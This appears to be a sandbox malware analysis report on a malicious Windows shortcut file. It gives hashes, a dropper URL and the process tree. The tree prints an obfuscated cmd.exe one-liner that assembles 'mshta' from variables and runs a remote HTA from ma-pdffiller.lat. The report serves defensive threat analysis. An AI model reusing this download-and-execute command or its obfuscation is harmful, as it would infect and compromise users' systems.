Analysis
- max time kernel
148s - max time network
155s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
04/08/2026, 08:25
Static task
static1
Behavioral task
behavioral1
Sample
DOC-6PVC3C.lnk
Resource
win10v2004-20260513-en
4 signatures
150 seconds
Behavioral task
behavioral2
Sample
DOC-6PVC3C.lnk
Resource
win11ltsc2024-20260709-en
3 signatures
150 seconds
General
- Target DOC-6PVC3C.lnk
- Size 1KB
- Sample260804-kbm8msvfqa
- SHA256 6ca49aad4be11587844c3586ae40438e4aa3a78b03a9797d6d57715a32b3f1f3
- MD5 6cfd51cda92ea033aaa201142e53c74f
- SHA1 1f3c8b6aa5c7232524fe2d0181317c3c10438340
- SHA512 ade2255b5991f938aa6d95f6ca95fe026cdecc415d3ecdc71c4f2789c9715d5c444f78169746bfb776e91808a87dcc92c8888961f1765fe4ae37c238ed6f37d6
- TLSH T150319C503EFD0914F3B38E7288FB571089BB79568E20C61E0040450C5032A15E17AF67
- MD5 SHA1 SHA512 TLSH
Score
10/10
Malware Config
Extracted
Language
-
hta
Source
URLs
-
hta.dropper
https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB
Signatures
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 4812 cmd.exe 2660 cmd.exe - Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 4812 wrote to memory of 2660 4812 cmd.exe 90 PID 2660 wrote to memory of 2556 2660 cmd.exe 91
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\DOC-6PVC3C.lnk1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4812 -
C:\WINDOWS\system32\cmd.exe"C:\WINDOWS\system32\cmd.exe" /v:on /c "set RWbD=msh&&set EukXH=ta&&start "" !RWbD!!EukXH! https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2660 -
C:\Windows\System32\mshta.exemshta https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB3⤵PID:2556
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